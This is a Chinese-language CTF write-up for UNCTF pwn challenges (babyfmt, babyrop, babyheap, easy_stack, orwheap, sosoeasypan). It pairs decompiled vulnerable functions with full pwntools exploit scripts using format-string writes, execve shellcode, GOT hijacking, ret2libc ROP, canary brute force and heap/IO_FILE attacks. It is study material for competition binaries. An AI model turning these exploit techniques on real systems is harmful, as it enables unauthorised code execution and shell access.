unctf复现

babyfmt

程序分析

存在格式化字符串漏洞

1
2
3
4
5
6
7
8
int sub_80486CD()
{
char buf; // [esp+0h] [ebp-58h]

printf("Please input your message:");
read(0, &buf, 0x50u);
return printf(&buf);
}

原本打算利用泄露libc地址+rop,但是写入的字符串长度有限

这道题也学到了新知识

具体参考这篇文章:Linux pwn入门教程(6)——格式化字符串漏洞

漏洞利用

写入shellcode

exp1:
来源 ctf writeup

原理:先确定buf的偏移,并ebp leak,这样就可以推算出ret和buf的地址,然后通过%{}$hn写入ret为buf的下半部分,然后下半部分恰好放置shellcode,这样就可以执行shellcode拿到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("babyfmt")
sh = 0
lib = 0
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
sh = process("./babyfmt")
else:
sh = remote(ip,port)
sh.recvuntil("Please input your message:")
payload = "%22$p"
sh.send(payload)
ebp = int(sh.recv(10),16)
ret = ebp - (0xffb66408 - 0xffb663ec)
buf_addr = ebp - (0xffb66408 - 0xffb66390)
payload = p32(ret) + p32(ret + 2) + "%." + str(buf_addr % 0x10000 + 0x28 - 7) + "d%4$hn"
payload += "%." + str((buf_addr >> 16) - (buf_addr % 0x10000) - 0x28 - 2) + "d%5$hn"
payload = payload.ljust(0x28,'\x00')
payload += "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"
log.success("ret: " + hex(ret))
log.success("ebp: " + hex(ebp))
log.success("buf_addr: " + hex(buf_addr))
sh.sendline(payload)
sh.interactive()
if __name__ == "__main__":
pwn("127.0.0.1",10000,1)

exp2:

原理:先输入一个%p泄露出数组的首地址,再retn处下个断点,用返回地址减去数组的首地址,计算出他们之间的相对偏移。因为栈的地址每次都是变化的,所以我们每次都要泄露栈的地址,然后计算出返回地址。
重要的步骤就是利用fmtstr_payload0往bss段写shellcode,然后将返回地址改为bss段的shellcode的处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#-*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
#p = remote('39.107.93.53','10000')
p = process('./babyfmt')
elf = ELF('babyfmt')
libc = elf.libc
shellcode = [0x6850c031,0x68732f6e,0x622f2f68,0x50e38969,0x8953e289,0xcd0bb0e1,0x80]
p.recvuntil('message:')
p.sendline('%p')
stack = int(p.recv(10),16)
ret_addr = stack + 0x5c
log.success('ret_addr: '+hex(ret_addr))
bss_addr = 0x8049B80
for i in range(len(shellcode)):
payload = fmtstr_payload(4,{(0x8049B80+i*4):shellcode[i]})
p.recvuntil('message:')
p.send(payload)
payload1 = fmtstr_payload(4,{ret_addr:bss_addr})
p.recvuntil('message:')
p.send(payload1)
p.interactive()

got表劫持

这里有个while循环,我们直接泄露一个已经执行的got表,利用LibcSearcher找到对应的libc版本,算出基址,紧接着算出system的真实地址,利用fmtstr_payload 修改一个已经执行的函数的got表为system,并且输入‘/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#-*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote('39.107.93.53','10000')
#p = process('./babyfmt')
elf = ELF('babyfmt')
libc = elf.libc
offset = 4
p.recvuntil('message:')
p.sendline(p32(elf.got['puts'])+'%4$s')
put_addr = u32(p.recvuntil('\xf7')[-4:])
log.success('put_addr: '+hex(put_addr))
libc_base = put_addr - libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
sys_addr = libc.symbols['system'] + libc_base
payload = fmtstr_payload(offset,{elf.got['printf']:sys_addr})
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()

babyrop

程序分析

简单的rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned int sub_804853D()
{
unsigned int result; // eax
char buf; // [esp+8h] [ebp-10h]
unsigned int retaddr; // [esp+1Ch] [ebp+4h]

puts("What is your name?");
read(0, &buf, 0x30u);
result = retaddr;
if ( retaddr > 134545408 )
{
puts("What!?");
exit(0);
}
return result;
}

需要注意程序对ret有个检查机制

漏洞利用

首先覆盖变量,然后开启后门,然后通过后门函数来libcleak,然后再次回到后门函数,再次跳转到libc空间执行system(“/bin/sh\x00”),需要注意的是,对ret地址进行了check,所以先跳到ret上,然后通过check再到libc空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#-*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote('39.107.93.53','10002')
#p = process('./babyrop')
elf = ELF('babyrop')
libc = elf.libc
p.sendline('a'*0x20+'ffff')
p.recvuntil('name?\n')
p.sendline('a'*20+p32(elf.plt['puts']) + p32(0x0804865b) + p32(elf.got['puts']) + p32(0x0804853D))
libc_base = u32(p.recv(4)) - libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
p.sendline('a'*20+p32(0x0804839e)+p32(libc_base+libc.symbols['system'])+p32(0x0804865b)+p32(libc.search('/bin/sh\x00').next()+libc_base))
p.interactive()

babyheap

程序分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int add()
{
signed int i; // [rsp+Ch] [rbp-4h]

for ( i = 0; i <= 2 && ptr[i]; ++i )
;
if ( i == 3 )
return puts("Full!");
printf("Plz input content: ");
ptr[i] = malloc(0x20uLL);
read(0, ptr[i], 0x10uLL);
*(ptr[i] + 3) = &puts;
return puts("Done!");
}

在add的时候程序将puts函数写到了堆里面,只需要想办法改写puts函数的地址为system函数的地址就行

而edit函数刚好存在溢出,对输入的字符串大小没做限制

漏洞利用

1.泄露libc的基址
2.改写puts函数地址为system函数地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote('39.107.93.53','10001')
#p = process('./babyheap')
elf = ELF('babyheap')
libc = elf.libc
def add(content):
p.sendlineafter('Your choice: ',str(1))
p.sendlineafter('content: ',str(content))
def edit(idx,size,content):
p.sendlineafter('Your choice: ',str(2))
p.sendlineafter('index: ',str(idx))
p.sendlineafter('size: ',str(size))
p.sendlineafter('content: ',str(content))
def show(idx):
p.sendlineafter('Your choice: ',str(3))
p.sendlineafter('index: ',str(idx))
def delete(idx):
p.sendlineafter('Your choice: ',str(4))
p.sendlineafter('index: ',str(idx))
add('a')
edit(0,0x18,'a'*0x18)
show(0)
libc_base = u64(p.recv(30)[24:30].ljust(8,'\x00')) - libc.symbols['_IO_puts']
sys_addr = libc.symbols['system'] + libc_base
log.success('libc_base: '+hex(libc_base))
log.success('sys_addr: '+hex(sys_addr))
edit(0,0x20,'/bin/sh'+'\x00'*0x11+p64(sys_addr))
show(0)
p.interactive()

driver

easy_stack

参考链接:Gstalker师傅

程序分析

1
2
3
4
5
6
7
while ( 1 )
{
v1 = v3--;
if ( v1 == 0 )
break;
sub_80488E7();
}

只能进行四次计算

1
2
3
4
5
6
7
8
9
  for ( j = 0; j < v9; ++j )
{
for ( k = j + 1; k < v9; ++k )
{
if ( v10[j] > (unsigned int)v10[k] )
++v4;
}
}
}

这道题关键点在于泄露canary,for这里发现溢出的是int数组,然后能够暴露canary的地方就是后面for循环的比较,如果说设计一个300单位的int数组,那么比较的就是canary了

漏洞利用

步骤:

1.爆破canary,canary以’\x00’结尾,每次爆破一字节

2.泄露libc的基址

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
# -*- coding: utf-8 -*-
from pwn import *
#from LibcSearcher import LibcSearcher
context.log_level = 'DEBUG'
p=process('./easystack')
#p=remote('39.107.93.53','10004')
elf=ELF('./easystack')
#put_got=elf.got['put']
got_main=elf.got['__libc_start_main']

canary=[0,0,0,0]#注意,这个数组是按照大端序放的

#循环1:爆出canary最高字节
p.recvuntil('How much do you want to calc: ')
p.sendline('301')

for i in range(44):
temp=str(0x1)
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(temp)

for n in range(1,256):
temp=str(n<<24)
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(temp)

p.recvuntil('num?(Input 0 to stop): ')
p.sendline('0')
p.recvuntil('answer is ')
temp=p.recvline()
canary[0]=255+299-int(temp)
p.recvuntil('Do you want to exit?(y or n)')
p.sendline('n')


#循环2:爆出canary次高字节
p.recvuntil('How much do you want to calc: ')
p.sendline('301')

for i in range(44):
temp=str(0x1)
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(temp)

for n in range(1,256):
temp=str((canary[0]<<24)+(n<<16))
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(temp)


p.recvuntil('num?(Input 0 to stop): ')
p.sendline('0')
p.recvuntil('answer is ')
temp=p.recvline()
canary[1]=255+299-int(temp)
p.recvuntil('Do you want to exit?(y or n)')
p.sendline('n')

#循环3:爆出canary次低字节
p.recvuntil('How much do you want to calc: ')
p.sendline('301')

for i in range(44):
temp=str(0x1)
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(temp)

for n in range(1,256):
temp=str((canary[0]<<24)+(canary[1]<<16)+(n<<8))
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(temp)


p.recvuntil('num?(Input 0 to stop): ')
p.sendline('0')
p.recvuntil('answer is ')
temp=p.recvline()
canary[2]=255+299-int(temp)
p.recvuntil('Do you want to exit?(y or n)')
p.sendline('n')
canary_full=(canary[0]<<24)+(canary[1]<<16)+(canary[2]<<8)


#第一次溢出:暴露libc
func=0x80488E7
ofstream=0x8048750
cout=0x0804a0c0
off_system=0x3a940
off_libc_start_main=0x18540
off_binsh=0x15902b


p.recvuntil('How much do you want to calc: ')
p.sendline('999')
for i in range(300):
temp=str(0x1)
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(temp)
#send canary
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(str(canary_full))
#填充空隙
p.recvuntil('num?(Input 0 to stop): ')
p.sendline('1')
p.recvuntil('num?(Input 0 to stop): ')
p.sendline('1')
p.recvuntil('num?(Input 0 to stop): ')
p.sendline('1')
#send 返回地址,返回ofstream
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(str(ofstream))
#send 返回地址,返回溢出函数
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(str(func))
#send cout模式
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(str(cout))
#send libcmain
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(str(got_main))
p.recvuntil('num?(Input 0 to stop): ')
p.sendline('0')
p.recvuntil('Do you want to exit?(y or n)')
p.sendline('n')
p.recv(1)
temp=p.recv(4)
libc_base=u32(temp)-off_libc_start_main


#第二次溢出,getshell!
addr_system=libc_base+off_system
addr_binsh=libc_base+off_binsh
p.recvuntil('How much do you want to calc: ')
p.sendline('999')
for i in range(300):
temp=str(0x1)
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(temp)
#send canary
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(str(canary_full))
#填充空隙
p.recvuntil('num?(Input 0 to stop): ')
p.sendline('1')
p.recvuntil('num?(Input 0 to stop): ')
p.sendline('1')
p.recvuntil('num?(Input 0 to stop): ')
p.sendline('1')
#send 返回地址,返回system
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(str(addr_system))
#send 返回地址,badbeef
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(str(0xbadbeef))
#send binsh的地址
p.recvuntil('num?(Input 0 to stop): ')
p.sendline(str(addr_binsh))
p.recvuntil('num?(Input 0 to stop): ')
p.sendline('0')
print hex(libc_base)
print hex(addr_system)
print hex(addr_binsh)
p.interactive()

orwheap

程序分析

1
2
3
1.AddNote
2.DelNote
3.EditNote

三个功能,没有show函数

1
2
3
4
5
6
7
8
9
10
11
12
13
int sub_C48()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

printf("Please input idx: ");
v1 = sub_B42();
if ( v1 > 5 || !addr_list[v1] )
return puts("Do you want to steal flag?");
free(addr_list[v1]);
addr_list[v1] = 0LL;
size_list[v1] = 0LL;
return puts("Done!");
}

delete函数没有free掉size_list的内容

1
2
3
4
5
6
7
8
9
10
11
12
int sub_B93()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

printf("Please input idx: ");
v1 = sub_B42();
if ( v1 > 5 || !addr_list[v1] )
return puts("Do you want to steal flag?");
printf("Please input content: ");
read(0, addr_list[v1], size_list[v1]);
return puts("Done!");
}

edit函数没有检查新size的的大小,如果比原size大,会造成溢出

漏洞利用

原理:通过libc控制泄露pie,然后将__free_hook覆盖为printf,从而泄露stack地址,通过修改chunk_list为栈地址绕过canary

过程:

1.看到prctl,所以不能直接拿shell,需要执行orw_shellcode,或者orw_ropchainedit 功能


多线程编程——prctl()函数介绍

  • 函数原型
1
2
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
  • 功能

prctl(PR_SET_NAME, “process_name”)

第一个参数是操作类型,指定PR_SET_NAME,即设置进程名

第二个参数是进程名字符串,长度至多16字

关键:prctl是一个设置进程的函数,第一个设置了PR_SET_NO_NEW_PRIVS,在64位中被截断,不能正确传参,如果不经过execve的话,不允许设置useriID等,相当于不能直接提权

prctl采用一个附加的参数,它使用BPF程序(就是一个程序,用于过滤可用的系统调用)指定一个新的过滤器。
BPF程序的执行将利用到结构体seccomp_data,反映系统调用号,参数和其他元数据。然后,BPF程序必须返回一个可接受的值,以通知内核应该采取哪个动作。

参考链接:

http://showlinkroom.me/2017/01/24/pwnable-tw2/

H4lo师傅的文章:一道 CTF 题目学习 prctl 函数的沙箱过滤规则

先放个exp,暂时没搞懂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#!/usr/bin/python2.7   
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("pwn")
sh = 0
lib = 0
getFlag = 0
def add(size,content):
sh.sendlineafter("Your Choice: ","1")
sh.sendlineafter("size: ",str(size))
sh.sendlineafter("content: ",content)
def free(idx):
sh.sendlineafter("Your Choice: ","2")
sh.sendlineafter(":",str(idx))
def edit(idx,content):
sh.sendlineafter("Your Choice: ","3")
sh.sendlineafter("Please input idx: ",str(idx))
sh.sendafter("Please input content: ",content)
def pwn(ip,port,debug):
global sh
global lib
global getFlag
if(debug == 1):
sh = process("./pwn")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
sh = remote(ip,port)
lib = ELF("x64_libc.so.6")
global_max_fast = (lib.symbols['__free_hook'] % 0x10000) + (0x7ffff7dd37f8 -
0x7ffff7dd37a8)
stderr_attack = (lib.symbols['_IO_2_1_stdout_'] % 0x10000) - (0x2620 - 0x25cf)
pie_offset = lib.symbols['environ']
if(debug == 1):
global_max_fast = 0x37f8
stderr_attack = 0x25cf
#init chunk
add(0xf8,"\x11" * 0xf7)#0
add(0xe8,"\x11" * 0xe7)#1
add(0x68,"\x11" * 0x67)#2
add(0xf8,"\x11" * 0xf7)#3
payload = '%10$p'
add(0x68,payload)#4
#unlink
free(2)
free(0)
payload = '\x12' * 0x60 + p64(0x260)
add(0x68,payload)
free(3)
payload = '\x13' * 0xf0 + p64(0) + p64(0xf1)
payload += '\x14' * 0xe0 + p64(0) + p64(0x71)
payload += '\x15' * 0x60 + p64(0) + p64(0xf1)
payload += '\x16' * 0xe0 + p64(0)
add(0x360 - 0x8,payload)
#global_max_fast attack
free(1)
payload = '\x17' * 0xf0 + p64(0) + p64(0xf1)
payload += p64(0) + p16(global_max_fast- 0x10)
edit(2,payload)
#gdb.attach(sh)
add(0xe8,'\x18' * 0xe7)
#IO_FILE
#libc leak
free(1)
payload = '\x17' * 0xf0 + p64(0) + p64(0xf1) + p16(stderr_attack)
edit(2,payload)
add(0xe8,"\x1a" * 0xe7)
payload = '\x00' + p64(0) * 8
payload += p64(0xfbad1800) + p64(0) * 3
add(0xe8,payload)
payload = p64(0xfbad1800) + p64(0) * 3
sh.recvuntil(payload)
stdout = u64(sh.recv(8)) + 0x20
libc = stdout - lib.symbols['_IO_2_1_stdout_']
__malloc_hook = libc + lib.symbols['__malloc_hook']
__free_hook = libc + lib.symbols['__free_hook']
#IO_FILE
#pie leak
payload = '\x00' + p64(0) * 8
payload += p64(0xfbad1800) + p64(0) * 3 + p64(libc + pie_offset) + p64(libc +
pie_offset + 8) + p32((libc + pie_offset + 8) % 0x100000000) + p16((libc + pie_offset +
8) >> 32)
edit(3,payload)
environ = u64(sh.recv(8))
text_addr = environ - 0x30
payload = '\x00' + p64(0) * 8
payload += p64(0xfbad1800) + p64(0) * 3 + p64(text_addr) + p64(text_addr + 8) +p32((text_addr + 8) % 0x100000000) + p16((text_addr + 8) >> 32)
edit(3,payload)
pie = u64(sh.recv(8)) & 0xfffffffffffff000
#control chunk_list
free(0)
payload = '\x13' * 0xf0 + p64(0) + p64(0xf1)
payload += '\x14' * 0xe0 + p64(0) + p64(0x71)
payload += p64(pie + elf.symbols['stderr'] -3)
edit(2,payload)
add(0x68,"\x15" * 0x67)
payload = '\x00' * 3 + p64(0) * 2
payload += p64(pie + elf.symbols['stderr'] + 0x20) + p64(__free_hook)
add(0x68,payload)
#leak stack
payload = p64(libc + lib.symbols['printf'])
edit(1,payload)
free(4)
sh.recvuntil("0x")
ebp = int(sh.recvuntil("Done!",True),16)
ret_addr = ebp + (0xe468 - 0xe540)
#ROPchain
payload = p64(pie + elf.symbols['stderr'] + 0x20) + p64(ret_addr)
edit(0,payload)
payload = p64(lib.search(asm("pop rdx\nret\n")).next() + libc)
payload += p64(0x7)
payload += p64(lib.search(asm("pop rdi\nret\n")).next() + libc)
payload += p64((pie + elf.bss()) & 0xfffffffffffff000)
payload += p64(lib.search(asm("pop rsi\nret\n")).next() + libc)
payload += p64(0x2000)
payload += p64(libc + lib.symbols['mprotect'])
payload += p64(lib.search(asm("pop rdi\nret\n")).next() + libc)
payload += p64(((pie + elf.bss()) & 0xfffffffffffff000) + 0x800)
payload += p64(libc + lib.symbols['gets'])
payload += p64(((pie + elf.bss()) & 0xfffffffffffff000) + 0x800)
edit(1,payload)
sh.sendlineafter("Your Choice:","4")
getFlag = 1
#orw_shellcode
payload = shellcraft.amd64.open("./flag")
payload += shellcraft.amd64.read(3,pie + elf.bss(),0x30)
payload += shellcraft.amd64.write(1,pie + elf.bss(),0x30)
sh.sendline(asm(payload))
log.success("ret_addr: " + hex(ret_addr))
log.success("ebp: " + hex(ebp))
log.success("pie: " + hex(pie))
log.success("environ: " + hex(environ))
sh.interactive()
if __name__ == "__main__":
global sh
while(True):
try:
if(getFlag == 0):
pwn("39.107.93.53",10005,0)
else:
sh.close()
break;
except EOFError:
sh.close()
if(getFlag != 0):
break
continue

sosoeasypan

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import * 
import binascii
context.log_level = 'debug'
elf = ELF('./x86_libc.so.6')
offset = 12
i = 0
while True:
i += 1
print i
sh = process('./pwn')
#sh = remote('101.71.29.5',10000)
sh.recvuntil('the ')
#sh.recvuntil('\x32')
base = int(sh.recv(5)) << 16
print hex(base)
sh.recvuntil('name?\n')
payload = 'a'*offset
#addr = base + random.sample(list1,1)[0]
payload += p32(base+0x 59d6)
sh.send(payload)
sh.recvuntil('(1.hello|2.byebye):\n')
sh.send('0')
try:
sh.recv(timeout = 1)
except Exception as e:
sh.close()
continue
else:
sleep(0.1)
sh.interactive()